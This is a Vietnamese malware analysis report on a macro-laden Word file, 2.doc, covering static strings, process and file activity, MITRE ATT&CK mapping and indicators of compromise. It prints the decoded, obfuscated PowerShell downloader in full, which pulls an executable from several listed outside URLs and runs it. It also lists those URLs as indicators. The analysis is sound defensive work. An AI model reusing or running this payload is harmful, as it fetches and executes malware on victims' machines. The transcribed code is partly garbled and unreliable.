

Báo cáo

Phân tích mã độc

MỤC LỤC

1. Phân tích tĩnh.....	2
1.1 Thông tin về mẫu.....	2
1.2 Nhận định.....	2
2. Phân tích động.....	3
2.1 Cây tiến trình và các hành vi trên tiến trình, dịch vụ.....	3
2.2 Hành vi trên hệ thống file.....	3
2.3 Hành vi trên Registry.....	4
2.4 Kết nối mạng.....	4
2.5 Persistence.....	4
2.6 Chiến thuật, kỹ thuật MITRE ATT&CK.....	4
2.7 IoCs.....	5
3. Kết luận.....	6

1. Phân tích tĩnh

1.1 Thông tin về mẫu

a. Tên file: 2.doc

b. Kích thước: 216 kB.

c. Hash:

MD5 - 9e67a87baf1f2857aa27fe76f4924fc4

SHA256 - d5ce788fe908e1df5ca826179a3d5df41b1f1e441daf98c672e9b69a6fc3c7b8

d. Kiểu file: *Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Voluptates., Author: Tom Durand, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Aug 27 15:15:00 2020, Last Saved Time/Date: Thu Aug 27 15:15:00 2020, Number of Pages: 1, Number of Words: 2, Number of Characters: 18, Security: 0*

e. Strings:

C:\PROGRA~2\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL

C:\Program Files (x86)\Microsoft Office222\Office15\MSWORD.OLB

C:\Windows\SysWOW64\stdole2.tlb

C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\MSO.DLL

C:\windows\SysWOW64\FM20.DLL

C:\Users\ADMINI~1\AppData\Local\Temp\VBE\MSForms.exd

-> "Microsoft Office222\Office15" là 1 path lạ thường.

ID="{70153EF5-A9A6-4FFF-BF25-90D24CFF8A0E}"

Document=Fjghxlp8g0a1nd_55/&H00000000

Package={AC9F2F90-E877-11CE-9F68-00AA00574A4F}

BaseClass=Ot3jeffcid_

ExeName32="Lk0bdcarrm3uw"

Name="Project"

HelpContextID="0"

VersionCompatible32="393222000"

CMG="727050F1B7F5B7F5B7F5B7F5"

DPB="D5D7F79A39FC3AFC3AFC"

GC="383A1A5D1B5D1BA2"

[Host Extender Info]

&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000

-> Tên document, baseclass, exeName32 đã bị obfuscated.

1.2 Nhận định

File 2.doc rất có thể là 1 dropper/downloader. Cần phân tích động để làm rõ.

2. Phân tích động

2.1 Cây tiến trình và các hành vi trên tiến trình, dịch vụ

Sử dụng Process Hacker.

Khi mở file 2.doc trong Microsoft Word, trước khi chọn "Enable content", chỉ có tiến trình mới là WINWORD.EXE.

explorer.exe	0.35	60,884 K	83,256 K	864 Windows Explorer	Microsoft Corporation
vmtoolsd.exe	0.08	5,592 K	12,848 K	1132 VMware Tools Core Service	Broadcom Inc.
procexp.exe		2,560 K	7,476 K	1512 Sysinternals Process Explorer	Sysinternals - www.sysinter...
procexp64.exe	1.41	18,252 K	28,096 K	1428 Sysinternals Process Explorer	Sysinternals - www.sysinter...
WINWORD.EXE	15.82	17,040 K	37,820 K	2488 Microsoft Word	Microsoft Corporation

Sau khi chọn "Enable content", sinh ra tiến trình conhost.exe. Tiến trình này tự hủy ngay sau đó.

csrss.exe	0.19	15,824 K	13,980 K	416	
conhost.exe		1,272 K	4,768 K	1720 Console Window Host	Microsoft Corporation

2.2 Hành vi trên hệ thống file

Sử dụng Process Monitor.

Tiến trình 2.doc: (thời gian khởi tạo - 12:57:10.2457948):

- Các file đã đọc:
 - Nhiều file trong
C:\Users\trang\AppData\Roaming\Microsoft\Network\Connections\Pbk_hiddenPbk*
 - C:\Windows\SysWOW64\winhttp.dll

Tiến trình conhost.exe (thời gian khởi tạo - 12:57:16.7031191):

- File đã đọc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Tiến trình powershell.exe (thời gian khởi tạo - 12:57:16.6683442):

- Khởi tạo bằng lệnh: [command](#)

Powershell chạy với flag -e, nên giải mã command đó bằng công thức `From Base64 -> Decode text (UTF-16LE(1200))`:

```
$Auj0pbm=('O'+('6l9'+2fc'));&('new-it'+em) $ENv:Temp\WORD\2019\ -itemtype  
DirecToRY;[Net.ServicePointManager]::"sE`CUrIT`YpROToCOI" = ('tl'+s'+12'+(' '+t'+ls11,  
t')+ls');$Oddxqgp =  
('O1'+('j'+p0j));$Qjy_pij=((('X3'+9s)+('0'+v2));$Hlttecc=$env:temp+(({'0'}w'+ord{'0'+}20+'19{'0'+}')  
-f[chaR]92)+$Oddxqgp+(''+('ex'+e));$F05_k3e=('Kb'+c+('b'+19_));$Wket1s4=&('new'+-ob'+ject')  
neT.WEbcLIent;$Smyttl7=((('h'+tps:)+('dad'+ier'+o'+que.com))+('wp'+-a+('dmi'+n))+('d'+g'+/*  
ht')+('tps:+'+/'')+s+('ul'+se))+('l'+e+'k'+spres.com/cgi-+'bi))+('n'+6l)+0n+('y'+O/*ht'+t))+('ps'+:/+'m'  
)+a+('u'+lan)+('ar'+u)+('m'+ifound'+ation'+.c))+o+('m/R'+umiF'+oun'+da)+('ti'+o)+('n'+/Q9etF))+  
/*+('http'+s)+('://kel'+as.ye'+c.))+('c'+o.id)+('/s'+r))+jn+('s/B/*+h'+ttp://ca'+es'+a+rmo)+('vi'+ng'+.  
'+co+('m'+w'+p-+'content'+/))+9+s/s+('*htt'+ps:+'//ki'+nepr'+emin'+s)+('c'+l/w)+('p'+-adm'+i+n/  
6wr/'+'*'+http://'+do)+l+('ph'+i)+('nin'+sig'+ht'+.'+it/wp-i)+('nc'+lu)+d+'e'+('s'+/LV'+f))."SP`It"  
[char]42;$Tgxz2c9=((('H'+2of)+('4'+xd));foreach($Cgctt61 in  
$Smyttl7){try{$Wket1s4."d`OWNl`oaD`FiLE"($Cgctt61,$Hlttecc);$V2arfke=('D'+('ov'+nfho));If  
((&('Ge'+t-Ite'+m) $Hlttecc)."le`NGtH" -ge 39850)
```

```
{.('Invoke'+-It'+em')($Hlttecc);$T240cig=('I'+('z'+'uo')+('0'+r3')));break;$Qi08tbr=('Tu'+n)+r+('un'+d'))} catch {} }$Knc8ls3=('Wq'+('5wur'+g'))
```

- Path của malware: \$ENV:Temp\WORD\2019\
- Tên malware: O1jp0j.exe
- Malware sẽ được download về path trên, từ các server trong danh sách các URL. Malware

Từ Process Monitor, thấy rằng file malware được xóa ngay sau đó. Đây có thể vì server đã down, nên file được tải về (có thể là 404 NOT FOUND HTML) không đạt tối thiểu 39850 bytes.

12:57:20.0828730 AM	powershell.exe	3232	Process	CreateFile	C:\Users\trang\AppData\Local\Temp\WORD\2019\O1jp0j.exe	SUCCESS	Desired Access: Read Attributes, Delete, Disposition: Open
12:57:20.0829318 AM	powershell.exe	3232	Process	QueryAttributeTagFile	C:\Users\trang\AppData\Local\Temp\WORD\2019\O1jp0j.exe	SUCCESS	Attributes: ANCI, Reparse Tag: 0x0
12:57:20.0829696 AM	powershell.exe	3232	Process	SetDispositionInformationFile	C:\Users\trang\AppData\Local\Temp\WORD\2019\O1jp0j.exe	SUCCESS	Delete: True
12:57:20.0830107 AM	powershell.exe	3232	Process	CloseFile	C:\Users\trang\AppData\Local\Temp\WORD\2019\O1jp0j.exe	SUCCESS	

2.3 Hành vi trên Registry

Không có hành vi đáng ngờ.

2.4 Kết nối mạng

Từ payload powershell, suy ra:

Cấu hình security protocol: tls12, tls11, tls.

Kết nối đến các server:

- <https://dadieroque.com/wp-admin/dg/> (6 điểm VirusTotal)
- <https://sulselekspres.com/cgi-bin/6l0nyO/> (6đ)
- <https://maulanarumifoundation.com/RumiFoundation/Q9etF/> (8đ)
- <https://kelas.yec.co.id/srjns/B/> (6đ), <http://caesarmoving.com/wp-content/9s/> (10đ)
- <https://kinepremins.cl/wp-admin/6wr/> (5đ), <http://dolphininsight.it/wp-includes/LVf/> (8đ)

2.5 Persistence

Không có.

2.6 Chiến thuật, kỹ thuật MITRE ATT&CK

Execution

- [User Execution: Malicious File](#): Yêu cầu người dùng mở file 2.doc và nhấp vào "Enable content" để kích hoạt mã độc
- [Command and Scripting Interpreter: Visual Basic](#): Sử dụng VBA Macro ngấm định bên trong tiến trình WINWORD.EXE để kích hoạt chuỗi lây nhiễm.
- [Command and Scripting Interpreter: PowerShell](#): Thực thi mã độc thông qua tiến trình powershell.exe.

Defense Evasion

- [Obfuscated Files or Information](#): Tên document, baseclass, exename32 trong VBA bị obfuscate. Lệnh PowerShell được mã hóa Base64 (sử dụng cờ -e).
- (Có thể) [Indicator Removal on Host: File Deletion](#): Mã độc tự động xóa file payload tải về (O1jp0j.exe) nếu dung lượng file nhỏ hơn 39850 bytes (thường là khi server trả về lỗi 404).

Command and Control

- [Application Layer Protocol: Web Protocols](#): Kết nối đến các máy chủ C2 qua giao thức HTTP/HTTPS để tải payload giai đoạn 2.
- [Encrypted Channel: Asymmetric Cryptography](#): Cấu hình Security Protocol sử dụng TLS 1.2, TLS 1.1 để mã hóa lưu lượng mạng kết nối đến C2.

2.7 IoCs

Hash của file 2.doc: (SHA256)

d5ce788fe908e1df5ca826179a3d5df41b1f1e441daf98c672e9b69a6fc3c7b8

Path: %TEMP%\WORD\2019\O1jp0j.exe

Network: Các URL trong mục 2.4

3. Kết luận

Mẫu 2.doc là 1 malware thuộc loại Downloader.